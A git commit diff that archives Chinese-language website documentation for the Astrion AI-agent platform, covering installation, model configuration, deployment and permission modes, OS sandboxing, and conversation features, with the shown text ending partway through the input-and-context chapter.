chore(website): 归档官网文档内容与设计素材
- website-content/:官网 10 篇文档内容 + README - website-design/:官网设计稿、动画实验、预览图与资源 - 根目录官网截图两张 - .gitignore 忽略 website-design/exp/static/dist 构建产物(7.1MB)
1
.gitignore
vendored
@ -102,3 +102,4 @@ test/deepseek_ocr_tutorial.md
|
|||||||
|
|
||||||
# 运行态缓存
|
# 运行态缓存
|
||||||
cache/
|
cache/
|
||||||
|
website-design/exp/static/dist/
|
||||||
|
|||||||
BIN
exp-scale-2.png
Normal file
|
After Width: | Height: | Size: 195 KiB |
BIN
site-hero.png
Normal file
|
After Width: | Height: | Size: 80 KiB |
241
website-content/01-quick-start.md
Normal file
@ -0,0 +1,241 @@
|
|||||||
|
# 快速上手
|
||||||
|
|
||||||
|
本章带你从零跑起 Astrion:克隆代码、完成初始化配置、启动服务,并根据你的使用场景选择正确的运行形态。
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 1. 系统要求
|
||||||
|
|
||||||
|
| 依赖 | 要求 | 说明 |
|
||||||
|
|------|------|------|
|
||||||
|
| Python | 3.9 及以上(推荐 3.11) | 后端运行环境 |
|
||||||
|
| Node.js | 18 及以上 | 构建前端、使用 CLI |
|
||||||
|
| Docker | 可选 | 仅 **web/docker 模式**需要,host 模式不需要 |
|
||||||
|
| WSL2 | 仅 Windows | Windows 上使用宿主机沙箱的前置条件 |
|
||||||
|
|
||||||
|
macOS、Linux、Windows(WSL2)均可运行。三平台沙箱能力的差异见《核心概念》一章。
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 2. 安装
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# 1. 克隆仓库
|
||||||
|
git clone https://github.com/JOJO6618/astrion.git
|
||||||
|
cd astrion
|
||||||
|
|
||||||
|
# 2. 初始化:创建 venv、安装依赖、运行交互式配置向导
|
||||||
|
# 向导会依次询问:运行模式 → 监听地址/端口 → 管理员账户 → 模型 API → 生成密钥
|
||||||
|
./setup.sh
|
||||||
|
|
||||||
|
# 3. 构建前端
|
||||||
|
npm install && npm run build
|
||||||
|
|
||||||
|
# 4.(仅 web/docker 模式)构建沙箱镜像,见下文「选择运行模式」
|
||||||
|
docker build -f docker/terminal.Dockerfile -t my-agent-shell:latest .
|
||||||
|
|
||||||
|
# 5. 启动
|
||||||
|
./start.sh
|
||||||
|
# 或者手动启动:
|
||||||
|
python -m server.app --port 8091 --thinking-mode
|
||||||
|
```
|
||||||
|
|
||||||
|
启动后访问 `http://localhost:8091`,用向导中设置的管理员账户登录。
|
||||||
|
|
||||||
|
> `setup.sh` 向导会把配置写入仓库根目录的 `.env`。这是开发备用方式;生产部署建议改用「数据根目录下的 `settings.json`」或系统环境变量,见下文「配置优先级」。
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 3. 运行端口与监听地址
|
||||||
|
|
||||||
|
- **默认端口:`8091`**(`WEB_SERVER_PORT`)。
|
||||||
|
- 监听地址(`WEB_SERVER_HOST`):
|
||||||
|
- 单机自用:建议 `127.0.0.1`,只监听本机回环,局域网不可达;
|
||||||
|
- 多用户/服务器部署:用 `0.0.0.0`。
|
||||||
|
- 启动命令行参数 `--port` 可以临时覆盖配置。
|
||||||
|
- 调试模式 `WEB_SERVER_DEBUG=1`(同时开启 Flask reloader),生产环境保持 `0`。
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 4. 数据路径:数据都存在哪、怎么搬迁
|
||||||
|
|
||||||
|
Astrion 的运行态数据(对话记录、用户、日志、部署级配置)**默认全部放在用户主目录下,不污染源码树**:
|
||||||
|
|
||||||
|
```
|
||||||
|
~/.astrion/astrion/ ← 数据根目录(data_root)
|
||||||
|
├── settings.json ← 唯一配置文件(优先级最高)
|
||||||
|
├── config/ ← 部署级配置(模型库等,host/web 共享)
|
||||||
|
├── host/ ← host 模式的数据
|
||||||
|
│ ├── data/ users/ logs/ api/
|
||||||
|
└── web/ ← web/docker 模式的数据(结构同上)
|
||||||
|
```
|
||||||
|
|
||||||
|
按运行模式自动分流:`TERMINAL_SANDBOX_MODE=host` 时数据进 `host/`,否则进 `web/`。
|
||||||
|
|
||||||
|
### 路径相关环境变量(优先级从高到低)
|
||||||
|
|
||||||
|
| 环境变量 | 作用 |
|
||||||
|
|----------|------|
|
||||||
|
| `DATA_DIR` / `LOGS_DIR` / `USER_SPACE_DIR` / `API_USER_SPACE_DIR` | 单独覆盖某一个目录(最高优先级) |
|
||||||
|
| `ASTRION_DATA_ROOT` | 整体搬迁数据根目录(默认 `~/.astrion/astrion`) |
|
||||||
|
| `DEPLOY_CONFIG_DIR` | 单独搬迁部署级配置目录(默认 `<数据根>/config/`) |
|
||||||
|
|
||||||
|
具体目录变量支持相对路径(相对仓库根目录展开)、绝对路径与 `~`。
|
||||||
|
|
||||||
|
### 配置优先级
|
||||||
|
|
||||||
|
同名配置生效顺序:**`<数据根>/settings.json` > 系统环境变量 > 仓库根目录 `.env` > 代码默认值**。
|
||||||
|
|
||||||
|
`.env` 加载时不覆盖已存在的系统环境变量;`settings.json` 是推荐的生产配置方式,例如:
|
||||||
|
|
||||||
|
```json
|
||||||
|
{
|
||||||
|
"server": { "port": 8091, "host": "127.0.0.1" }
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 5. 配置主智能体模型
|
||||||
|
|
||||||
|
主智能体的模型统一在 **`custom_models.json`** 中注册。
|
||||||
|
|
||||||
|
**放置位置**(按回退链查找,找到即止):
|
||||||
|
|
||||||
|
1. `<数据根>/config/custom_models.json`(生产推荐)
|
||||||
|
2. 仓库内 `config/custom_models.json`
|
||||||
|
3. 仓库内 `config/custom_models.json.example`(种子示例)
|
||||||
|
|
||||||
|
**完整字段说明**:
|
||||||
|
|
||||||
|
```json
|
||||||
|
{
|
||||||
|
"models": [
|
||||||
|
{
|
||||||
|
"model_name": "Kimi-K3",
|
||||||
|
"description": "展示给用户的模型描述",
|
||||||
|
"visible": true,
|
||||||
|
"url": "${API_BASE_KIMI}",
|
||||||
|
"apikey": "${API_KEY_KIMI}",
|
||||||
|
"multimodal": "image,video",
|
||||||
|
"reasoning_capability": "fast,thinking",
|
||||||
|
"reasoning_effort": true,
|
||||||
|
"context_window": 1048576,
|
||||||
|
"max_output_tokens": 64000,
|
||||||
|
"thinkmode_status": {
|
||||||
|
"type": "param_toggle",
|
||||||
|
"model_id": "k3",
|
||||||
|
"fast_extra_parameter": { "thinking": { "type": "disabled" } },
|
||||||
|
"thinking_extra_parameter": { "thinking": { "effort": "max" } }
|
||||||
|
},
|
||||||
|
"extra_parameter": {},
|
||||||
|
"model_description": "注入系统提示词的模型自我描述"
|
||||||
|
}
|
||||||
|
]
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
| 字段 | 必填 | 说明 |
|
||||||
|
|------|------|------|
|
||||||
|
| `model_name` | ✅ | 模型条目名,UI 中显示,也是各配置引用它的 key |
|
||||||
|
| `url` | ✅ | API 基础地址。**支持 `${环境变量}` 引用**,密钥不要写明文 |
|
||||||
|
| `apikey` | ✅ | API Key,同样支持 `${...}` |
|
||||||
|
| `description` | | 列表中展示的说明文字 |
|
||||||
|
| `visible` | | 是否在模型选择菜单中可见 |
|
||||||
|
| `multimodal` | | `image,video` 等;决定输入栏是否允许发图/视频 |
|
||||||
|
| `reasoning_capability` | | `fast,thinking`;决定思考模式可选项 |
|
||||||
|
| `reasoning_effort` | | 是否支持「推理强度」滑块 |
|
||||||
|
| `context_window` | | 上下文窗口大小(token),压缩阈值、用量统计以此为基准 |
|
||||||
|
| `max_output_tokens` | | 单次最大输出 token |
|
||||||
|
| `thinkmode_status` | | `param_toggle` 类型:`model_id` 为真实模型 ID;`fast/thinking_extra_parameter` 为两种模式下分别附加的请求参数 |
|
||||||
|
| `extra_parameter` | | 所有请求都附加的额外参数 |
|
||||||
|
| `model_description` | | 注入系统提示词的自我介绍 |
|
||||||
|
|
||||||
|
**最小配置**只需要 4 个字段:`model_name` / `url` / `apikey` / `thinkmode_status.model_id`,其余字段均有默认值。
|
||||||
|
|
||||||
|
> 提醒:`setup.sh` 向导在第 5 步创建的模型条目就是最小配置——`multimodal` 为 `none`(不能发图/视频)、`context_window` 固定 128000、`max_output_tokens` 32768。如果你的模型支持多模态或更大上下文,配完向导后请手动编辑 `<数据根>/config/custom_models.json` 补齐字段。
|
||||||
|
|
||||||
|
**默认模型**:不设 `AGENT_DEFAULT_MODEL` 时使用列表中第一个可见模型;也可以在个人空间「模型与思考」页设置每用户默认模型。
|
||||||
|
|
||||||
|
> 注意:旧版的 `AGENT_API_*` / `AGENT_THINKING_*` / `AGENT_TITLE_*` 环境变量已从代码中移除,配置它们不再有任何效果。
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 6. 配置子智能体模型
|
||||||
|
|
||||||
|
子智能体(含三个审核智能体)使用**独立的模型库**:`sub_agent_models.json`。
|
||||||
|
|
||||||
|
**放置位置**:仅从部署配置目录读取——`<数据根>/config/sub_agent_models.json`(可用 `SUB_AGENT_MODELS_CONFIG_FILE` 单独覆盖)。**没有这个文件,子智能体将无法启动**,会直接报「未找到可用子智能体模型配置」。
|
||||||
|
|
||||||
|
**结构**:
|
||||||
|
|
||||||
|
```json
|
||||||
|
{
|
||||||
|
"default_model": "deepseek-v4-flash",
|
||||||
|
"models": [
|
||||||
|
{
|
||||||
|
"name": "deepseek-v4-flash",
|
||||||
|
"url": "${SUB_AGENT_API_BASE}",
|
||||||
|
"apikey": "${SUB_AGENT_API_KEY}",
|
||||||
|
"model_id": "deepseek-v4-flash",
|
||||||
|
"modes": "fast,thinking",
|
||||||
|
"multimodal": "image",
|
||||||
|
"max_output": 32000,
|
||||||
|
"max_context": 128000,
|
||||||
|
"extra_parameter": {},
|
||||||
|
"fast_extra_parameter": {},
|
||||||
|
"thinking_extra_parameter": {}
|
||||||
|
}
|
||||||
|
]
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
要点:
|
||||||
|
|
||||||
|
- `default_model`:默认条目名;子智能体/审核智能体配置里 `model` 留空时用它。若指定的名字不存在,回退到列表中第一个可用条目。
|
||||||
|
- 字段名做了宽松兼容:`name`/`model_name`/`model`、`url`/`base_url`、`apikey`/`api_key` 均可;`modes` 写 `fast,thinking` 表示支持思考模式,只写 `fast` 表示纯快速模式。
|
||||||
|
- 也支持与主模型库相同的 `thinkmode_status` 结构,可以直接从 `custom_models.json` 复制条目改名字用。
|
||||||
|
- `url` / `apikey` 同样支持 `${环境变量}` 引用。
|
||||||
|
|
||||||
|
**子智能体相关环境变量**:
|
||||||
|
|
||||||
|
| 变量 | 默认 | 说明 |
|
||||||
|
|------|------|------|
|
||||||
|
| `SUB_AGENT_MAX_ACTIVE` | 5 | 同时运行的子智能体上限 |
|
||||||
|
| `SUB_AGENT_DEFAULT_TIMEOUT` | 180(秒) | 默认超时 |
|
||||||
|
| `SUB_AGENT_TASKS_BASE_DIR` | `<数据根>/<模式>/data/sub_agent_tasks` | 任务目录 |
|
||||||
|
| `SUB_AGENT_PROJECT_RESULTS_DIR` | `<工作区>/sub_agent_results` | 交付目录(有意放在工作区内) |
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 7. 选择运行模式:host 还是 docker(web)
|
||||||
|
|
||||||
|
由 `TERMINAL_SANDBOX_MODE` 决定,两种模式面向完全不同的场景:
|
||||||
|
|
||||||
|
| | **host 模式** | **web/docker 模式** |
|
||||||
|
|---|---|---|
|
||||||
|
| 定位 | 本地个人使用 | 服务器多用户部署 |
|
||||||
|
| 命令执行 | 宿主机 OS 沙箱(macOS sandbox-exec / Linux bwrap / Windows WSL2) | 每个用户独立 Docker 容器,受限档权限下以非特权 uid 执行 |
|
||||||
|
| 数据目录 | `~/.astrion/astrion/host/` | `~/.astrion/astrion/web/` |
|
||||||
|
| 前置准备 | 无需镜像;Windows 需先装 WSL2 | 必须先构建镜像:`docker build -f docker/terminal.Dockerfile -t my-agent-shell:latest .`(构建上下文必须是仓库根) |
|
||||||
|
| 镜像名 | — | 由 `TERMINAL_SANDBOX_IMAGE` 指定,建议 `my-agent-shell:latest` |
|
||||||
|
|
||||||
|
选择建议:
|
||||||
|
|
||||||
|
- **一个人在自己电脑上用** → `host`。文件管理器、本地工具链直接可用,体验最好。
|
||||||
|
- **部署到服务器给多人用** → `docker`。容器天然隔离用户之间的文件与进程。
|
||||||
|
- host 模式可以同时读取 web 模式的数据(用户列表、工作区合并显示),反向不行。
|
||||||
|
|
||||||
|
沙箱镜像基于 `python:3.11-slim`,内置 LibreOffice / Pandoc / FFmpeg / Tesseract OCR(含中文)/ Chromium / Node 20 / docx / pptxgenjs 等常用工具链。**程序不会自动构建镜像**,web 模式启动前必须手动构建一次。
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 8. 首次启动检查清单
|
||||||
|
|
||||||
|
1. 浏览器打开 `http://localhost:8091`,用管理员账户登录;
|
||||||
|
2. 进入个人空间,确认「模型与思考」页能看到你配置的模型;
|
||||||
|
3. 随便发一条消息,确认主智能体能正常回复;
|
||||||
|
4. 让主智能体创建一个子智能体(或直接说「帮我查一下 xxx」触发),确认 `sub_agent_models.json` 配置正确;
|
||||||
|
5. 若是 web 模式,确认镜像已构建、终端容器能正常拉起。
|
||||||
|
|
||||||
|
到这里,你的 Astrion 已经可以正常工作了。接下来建议阅读《核心概念》,理解部署模式、权限模式、执行环境、运行模式这四组概念——它们决定了 Astrion 的行为边界。
|
||||||
111
website-content/02-core-concepts.md
Normal file
@ -0,0 +1,111 @@
|
|||||||
|
# 核心概念
|
||||||
|
|
||||||
|
Astrion 有四组**相互正交**的概念,理解它们是理解整个系统的钥匙。它们两两组合决定了一次任务「能做什么、在哪跑、做到什么程度」:
|
||||||
|
|
||||||
|
| 概念组 | 取值 | 决定什么 | 在哪里切换 |
|
||||||
|
|--------|------|----------|------------|
|
||||||
|
| **部署模式** | host / docker(web) | 数据存哪、命令在宿主机还是容器里跑 | 环境变量(部署时确定) |
|
||||||
|
| **权限模式** | readonly / approval / auto_approval / unrestricted | AI 的工具调用要不要经过批准 | 输入栏权限菜单(对话级) |
|
||||||
|
| **执行环境** | sandbox / direct | 命令是否经过 OS 沙箱 | 输入栏权限菜单(对话级,仅 host 模式) |
|
||||||
|
| **运行模式** | plan / ask / execute | AI 与你的交互节奏:先出计划还是直接干活 | 输入栏运行模式切换器(对话级) |
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 1. 部署模式:host vs docker(web)
|
||||||
|
|
||||||
|
部署模式在**启动前**由环境变量 `TERMINAL_SANDBOX_MODE` 决定,运行中不可切换。
|
||||||
|
|
||||||
|
- **host 模式**:面向本地个人使用。命令通过宿主机 OS 沙箱执行,AI 可以直接操作你授权的本机目录(比如真实的项目仓库),文件管理器、本地 Node/Python 工具链直接可用。
|
||||||
|
- **docker 模式(web 模式)**:面向服务器多用户部署。每个用户的终端命令在独立的 Docker 容器里执行,用户之间文件与进程天然隔离。需要先构建沙箱镜像(见《快速上手》)。
|
||||||
|
|
||||||
|
两者的数据目录完全分开(`~/.astrion/astrion/host/` 与 `web/`),但 host 模式会**合并读取** web 模式的用户与工作区列表——同一台机器上两种模式的历史数据都能看到。
|
||||||
|
|
||||||
|
> 注意:docker 模式同样有只读强制——受限档权限(readonly/approval/auto_approval)下,命令以非特权用户(uid 10001)在容器内执行,写入由内核文件权限直接拒绝,「只读→审批→单次可写重试」两段式流程与 host 模式一致(详见《执行与安全》)。
|
||||||
|
|
||||||
|
## 2. 权限模式:AI 能做什么
|
||||||
|
|
||||||
|
权限模式是**产品层**开关,决定工具调用是否被拦截、是否需要批准。按对话切换,随时可改。
|
||||||
|
|
||||||
|
### readonly(只读)
|
||||||
|
|
||||||
|
- `run_command` 允许调用,但在**只读沙箱**中执行;一旦触发写入,操作系统直接返回权限拒绝(如 `Operation not permitted`)。
|
||||||
|
- `write_file` / `edit_file` 等写入类工具**直接拒绝**。
|
||||||
|
- 适用:让 AI 只做代码审查、只读分析、回答问题时。
|
||||||
|
|
||||||
|
### approval(批准,推荐默认)
|
||||||
|
|
||||||
|
- `run_command` 走**两段式**:先在只读沙箱执行 → 若出现权限拒绝,向前端发起审批 → 你批准后,**仅该条命令**以可写沙箱重试一次。
|
||||||
|
- 工具返回的是重试后的最终结果,AI 不会看到中间的拒绝过程。
|
||||||
|
- 审批拒绝或超时:本次不执行,不写入。
|
||||||
|
|
||||||
|
### auto_approval(自动审核)
|
||||||
|
|
||||||
|
- 与 approval 相同的「只读优先」流程,但审批者是**自动审批智能体**(一个独立的 AI,可在个人空间配置它的模型与参数)。
|
||||||
|
- `write_file` / `edit_file`:目标在工作区内直接执行;工作区外进入自动审批。
|
||||||
|
- 自动审批拒绝时,AI 收到「被拒绝 + 理由」后继续尝试别的路径,不会中断整轮任务。
|
||||||
|
- 你可以随时人工接管:同意 / 拒绝 / 切换为无限制。
|
||||||
|
|
||||||
|
### unrestricted(无限制)
|
||||||
|
|
||||||
|
- 权限层不做任何拦截,工具直接执行。
|
||||||
|
- 此时安全边界完全由执行环境决定(见下节):sandbox 下仍有 OS 沙箱兜底,direct 下等于裸奔。
|
||||||
|
|
||||||
|
## 3. 执行环境:sandbox vs direct
|
||||||
|
|
||||||
|
执行环境是**系统层**开关(仅 host 模式可切换),决定命令最终是否经过 OS 沙箱:
|
||||||
|
|
||||||
|
- **sandbox(默认)**:命令在 OS 沙箱中执行,读写边界由「路径授权」限定。沙箱不可用时关键执行路径会**拒绝执行**,不会静默回退到裸宿主机。
|
||||||
|
- **direct(高风险)**:命令直接在宿主机执行,无任何沙箱限制。仅 `unrestricted` 权限可选——受限档(readonly/approval/auto_approval)与 direct 硬互斥,在受限档下切 direct 会被拒绝,从 direct 切入受限档会被自动压回 sandbox。仅建议明确需要系统级权限时**短时**开启,用完立即切回。切换后一直生效,没有自动回退机制。
|
||||||
|
|
||||||
|
### 各平台沙箱实现与安全水位(请务必阅读)
|
||||||
|
|
||||||
|
| 平台 | 实现 | 安全水位 |
|
||||||
|
|------|------|----------|
|
||||||
|
| **Windows** | WSL2 | **可以做到完全的数据隔离**——命令跑在独立的 WSL2 文件系统中。前提是**先自行安装 WSL2**,未安装时沙箱不可用 |
|
||||||
|
| **macOS** | sandbox-exec | **白名单读模型,读写都可限制**——进程默认只能读系统目录、工作区与已授权路径,越界读取会被直接拒绝。固有代价:授权路径的祖先目录顶层文件名可被列出(文件内容仍不可读) |
|
||||||
|
| **Linux** | bubblewrap (bwrap) + seccomp | 写入可限制(只读档全局只读),但**读侧仍是全局可读**、尚未对齐白名单;且尚未经过实际测试,不建议在生产环境依赖其隔离性 |
|
||||||
|
|
||||||
|
这是官方对当前安全能力的如实说明:把沙箱当作「防误操作」的手段,三个平台都是可靠的;把它当作「防恶意窃取数据」的手段,macOS(白名单)与 Windows(WSL2)可以信赖,Linux 暂时不行。
|
||||||
|
|
||||||
|
### 路径授权
|
||||||
|
|
||||||
|
host 模式下,沙箱的文件访问边界由路径授权决定,分两类:
|
||||||
|
|
||||||
|
- **可读可写路径**:AI 可以读也可以改;
|
||||||
|
- **仅可读路径**:AI 能看但不能改。
|
||||||
|
|
||||||
|
关系:`可读集合 = 可读可写 + 仅可读`;`可写集合 = 可读可写`。在输入栏 `+` 菜单 →「路径授权」中维护。推荐保持最小授权:工作区 + 临时目录。
|
||||||
|
|
||||||
|
> 终端会话(terminal 系列工具)的读写身份在启动时按当时的权限档、执行环境与沙箱策略**钉死**:受限档下终端以只读身份运行,`unrestricted` 下才是可写身份。**切换执行环境(sandbox ⇄ direct)、权限档在受限档与无限制之间互切、切换工作区或容器时,现有终端会话会被直接关闭**,随后在重新拉起的会话中按新策略执行。
|
||||||
|
|
||||||
|
### 网络权限
|
||||||
|
|
||||||
|
独立于文件沙箱的另一组开关(plan 模式下也可调):
|
||||||
|
|
||||||
|
- **受限**(默认):仅允许本地回环访问,外部网络不可达;
|
||||||
|
- **完全开放**:允许所有出站/入站连接。
|
||||||
|
|
||||||
|
## 4. 运行模式:AI 与你的交互节奏
|
||||||
|
|
||||||
|
运行模式控制 AI **什么时候动手、什么时候先问你**,与权限完全正交。仅空闲时可切换(任务运行中切换会收到 409 提示)。
|
||||||
|
|
||||||
|
- **plan(计划)**:只制定计划并与你讨论,不实际改东西。此模式下权限被**锁定为只读**、执行环境**锁定为沙箱**(UI 禁用 + 后端双重强制,网络权限除外)。唯一例外是写 `.astrion/plan/*.md` 计划文档。计划写完后 AI 会调用 `submit_plan` 请你批准;**批准即自动切换到 execute** 并恢复你之前的权限设置。
|
||||||
|
- **ask(询问)**:先讨论后开工。AI 把方案、疑问写在回复里与你来回确认,关键细节拍板后才动手。执行层面与 execute 无差异,只是交互节奏不同。
|
||||||
|
- **execute(执行)**:AI 自行梳理计划、补全细节,直接开工,只有遇到硬阻塞(缺信息、需要账号密码等)才提问。
|
||||||
|
|
||||||
|
### 常见组合
|
||||||
|
|
||||||
|
| 场景 | 推荐组合 |
|
||||||
|
|------|----------|
|
||||||
|
| 让 AI 改你正在维护的重要项目 | plan + approval + sandbox |
|
||||||
|
| 日常随手用、追求效率 | execute + auto_approval + sandbox |
|
||||||
|
| 纯问答/代码评审,绝不许动文件 | 任意模式 + readonly(执行环境自动锁沙箱) |
|
||||||
|
| 服务器多用户部署 | docker 模式(执行环境概念不适用) |
|
||||||
|
|
||||||
|
## 5. 四组概念的联动规则速查
|
||||||
|
|
||||||
|
1. plan 模式 → 权限强制 readonly、执行环境强制 sandbox(网络权限仍可调);
|
||||||
|
2. 受限档权限(readonly/approval/auto_approval)→ 执行环境自动锁定为 sandbox,direct 仅 unrestricted 可用;
|
||||||
|
3. 批准 plan 计划 → 自动切 execute 并恢复进入 plan 前的权限与执行环境;
|
||||||
|
4. docker 模式下没有 sandbox/direct 之分,容器即边界;
|
||||||
|
5. 权限模式、执行环境、运行模式都是**对话级**状态:新对话继承当前输入栏的取值,个人空间里的「默认权限模式 / 默认运行模式」只影响首次构造。
|
||||||
76
website-content/03-conversations.md
Normal file
@ -0,0 +1,76 @@
|
|||||||
|
# 对话
|
||||||
|
|
||||||
|
本章讲「一个对话」本身的能力:对话类型、思考模式、目标模式,以及对话过程中可用的几个面板功能。
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 1. 对话类型:普通 vs 多智能体
|
||||||
|
|
||||||
|
创建对话时选定,**创建后不可变**:
|
||||||
|
|
||||||
|
- **普通对话(智能体)**:你与一个主智能体对话,它可以按需在后台派出子智能体干活。
|
||||||
|
- **多智能体对话**:主智能体固定为 **Team Leader**,不亲自干活,而是创建多个带角色的子智能体(如 Full-Stack Engineer、UI Operator),在它们之间派活、收汇报、做决策。子智能体之间也可以互相通信,但每次沟通都会同步汇报给 Team Leader,不存在"私下串通"。
|
||||||
|
|
||||||
|
切换入口:空对话时输入栏底行 `+` 右侧的对话类型选择器;侧边栏的列表过滤器则决定你在列表里看哪一类对话。
|
||||||
|
|
||||||
|
多智能体的完整玩法见《智能体能力》一章。
|
||||||
|
|
||||||
|
## 2. 思考模式与推理强度
|
||||||
|
|
||||||
|
两个独立开关,都作用于当前对话:
|
||||||
|
|
||||||
|
- **思考模式**:`快速(fast)` / `思考(thinking)`。快速模式追求响应速度、跳过思考过程;思考模式整轮对话使用思考模型。输入栏可切换,个人空间可设默认值。
|
||||||
|
- **推理强度(Effort)**:`默认 / 低 / 中 / 高` 滑块(需模型配置里 `reasoning_effort: true` 才会出现)。「默认」表示不指定强度,使用 API 自身默认行为;拖动滑块可实时调整思考的深度档位。
|
||||||
|
|
||||||
|
> 模型的多模态能力(能否发图片/视频)由 `custom_models.json` 中该模型的 `multimodal` 字段决定;思考模式可选项由 `reasoning_capability` 决定。
|
||||||
|
|
||||||
|
## 3. 目标模式(Beta)
|
||||||
|
|
||||||
|
> ⚠️ 目标模式是 **beta 功能**:机制完整可用,但边界情况(多对话并发时的 token 统计、异常中断恢复等)仍在打磨,请带着预期使用并反馈问题。
|
||||||
|
|
||||||
|
普通对话里,AI 完成你交代的一轮任务就停了。**目标模式**让 AI 围绕一个长期目标**自动一轮一轮干下去**,直到目标达成或触顶停止。
|
||||||
|
|
||||||
|
**用法**:
|
||||||
|
|
||||||
|
1. 输入栏 `+` 菜单 →「目标模式」,进入「已就绪」状态;
|
||||||
|
2. 你发送的下一条消息会被当作**目标**(而不是普通任务);
|
||||||
|
3. AI 围绕目标自动连续工作:每轮结束后自我评估「目标达成了吗」,没达成就继续下一轮;
|
||||||
|
4. 达成、触顶或你手动取消时停止。
|
||||||
|
|
||||||
|
**结束条件**(个人空间可配,可多选):
|
||||||
|
|
||||||
|
- `max_turns`:最多自动续 N 轮(有默认值,可调);
|
||||||
|
- `max_tokens`:累计(输入+输出)token 上限,默认不启用。注意该统计是**工作区级**的,多对话并发时是近似值。
|
||||||
|
|
||||||
|
**目标审核**:可选配一个目标审核智能体(个人空间「审核智能体」页的 `goal_review`),两种审核模式:
|
||||||
|
|
||||||
|
- `readonly`(默认):审核智能体只读对话内容来判断目标进度;
|
||||||
|
- `active`:允许它跑只读命令取证(比如检查文件是否真的生成了)再下结论。
|
||||||
|
|
||||||
|
目标状态按对话独立持久化(`goal_states/<对话ID>.json`),切换对话、上下文压缩、重启服务都不会丢失目标进度。
|
||||||
|
|
||||||
|
## 4. 对话面板:回顾 / 用量 / 实时终端
|
||||||
|
|
||||||
|
输入栏 `+` 菜单里的三个面板型功能(它们只是信息面板,**与安全机制无关**):
|
||||||
|
|
||||||
|
- **对话回顾**:打开当前对话的回顾视图,按时间线回看这次对话做了什么。
|
||||||
|
- **用量统计**:上下文与 token 用量面板,看当前对话的上下文占用、累计消耗。
|
||||||
|
- **实时终端**:打开实时终端面板,直接看到 AI 正在执行的终端会话实况——它正在跑什么命令、输出是什么。这是观察窗口,不是安全边界;真正的安全控制请看《执行与安全》。
|
||||||
|
|
||||||
|
## 5. 对话管理
|
||||||
|
|
||||||
|
- **搜索**:侧边栏顶部搜索框,按标题与内容检索对话。
|
||||||
|
- **平铺 / 分组视图**:侧边栏可以平铺所有对话,也可以按工作区分组(个人空间「外观与显示」→ 侧边栏分组)。分组模式下支持工作区置顶与排序。
|
||||||
|
- **类型过滤**:侧边栏的类型切换器(普通 / 多智能体)决定列表里显示哪类对话。
|
||||||
|
- **新建对话按钮行为**:个人空间可选——点击 `+` 是「跳转到空白新对话页」(route)还是「立即创建空对话」(blank)。
|
||||||
|
- **自动标题**:默认开启,首轮对话后自动生成标题;可在个人空间关闭。
|
||||||
|
|
||||||
|
## 6. 对话显示模式
|
||||||
|
|
||||||
|
个人空间「外观与显示」提供三种消息流显示模式:
|
||||||
|
|
||||||
|
- **传统列表**:所有消息平铺;
|
||||||
|
- **堆叠动画**(默认):工具调用等中间块堆叠收纳,主干对话更清爽;
|
||||||
|
- **极简模式**:最克制的显示,只看要点。
|
||||||
|
|
||||||
|
另有「完整信息 / 简略信息」控制简略消息的展开程度,以及助手状态形象(戳一戳有彩蛋)等显示开关。
|
||||||
89
website-content/04-input-context.md
Normal file
@ -0,0 +1,89 @@
|
|||||||
|
# 输入与上下文
|
||||||
|
|
||||||
|
本章讲输入栏的两个菜单、文件引用、上传,以及 Astrion 的上下文管理体系——包括压缩机制的正确用法。
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 1. `+` 快捷菜单(完整功能清单)
|
||||||
|
|
||||||
|
点击输入栏左侧 `+` 打开。完整功能一览:
|
||||||
|
|
||||||
|
| 功能 | 说明 |
|
||||||
|
|------|------|
|
||||||
|
| 新建对话 | 开始一个新对话(等价 `new` / `clear`) |
|
||||||
|
| 上传文件 | 选择本地文件上传到工作区 |
|
||||||
|
| 发送图片 / 发送视频 | 附加到消息;**当前模型不支持多模态时禁用**(取决于 `multimodal` 配置) |
|
||||||
|
| 压缩对话 | 手动触发一次上下文压缩 |
|
||||||
|
| 选择 AgentSkill | 插入一个 Skill 引用(等价输入 `//` 快捷直达) |
|
||||||
|
| 工作流 | 激活一个工作流,让智能体按既定流程推进 |
|
||||||
|
| 对话类型 | 空对话时切换「智能体 / 多智能体」(创建后不可变) |
|
||||||
|
| 切换工作模式 | plan / ask / execute |
|
||||||
|
| 切换主题 | 经典 / 明亮 / 夜间 |
|
||||||
|
| 对话回顾 | 打开当前对话回顾 |
|
||||||
|
| 用量统计 | 上下文与 token 用量面板 |
|
||||||
|
| 目标模式 | 切换目标模式(Beta,见《对话》章) |
|
||||||
|
| 个人设置 | 打开个人空间 |
|
||||||
|
| 实时终端 | 打开实时终端面板 |
|
||||||
|
| 切换模型 | 选择本对话使用的模型 |
|
||||||
|
| 思考模式 | 切换 fast / thinking |
|
||||||
|
| 权限模式 | 切换 readonly / approval / auto / unrestricted |
|
||||||
|
| 网络权限 | 受限 / 完全开放(plan 模式下也可调) |
|
||||||
|
| 执行环境 | sandbox / direct(仅 host 模式) |
|
||||||
|
| 切换工作区 / 项目 | 切换当前对话绑定的工作区 |
|
||||||
|
| 版本控制 | 开/关本对话的版本控制 |
|
||||||
|
| Git 状态栏 | 显示/隐藏输入栏上方的 Git 状态条 |
|
||||||
|
| 路径授权 | 查看和管理沙箱路径授权 |
|
||||||
|
| 审批面板 | 查看审批记录 |
|
||||||
|
|
||||||
|
## 2. `/` 斜杠菜单
|
||||||
|
|
||||||
|
在输入框输入 `/` 触发斜杠直达菜单,用关键字快速过滤并直达某一类选项,目前支持 12 类:AgentSkills(`//` 直达)、工作流、主题、权限模式、执行环境、模型、思考模式、网络权限、工作模式、工作区、对话类型等。
|
||||||
|
|
||||||
|
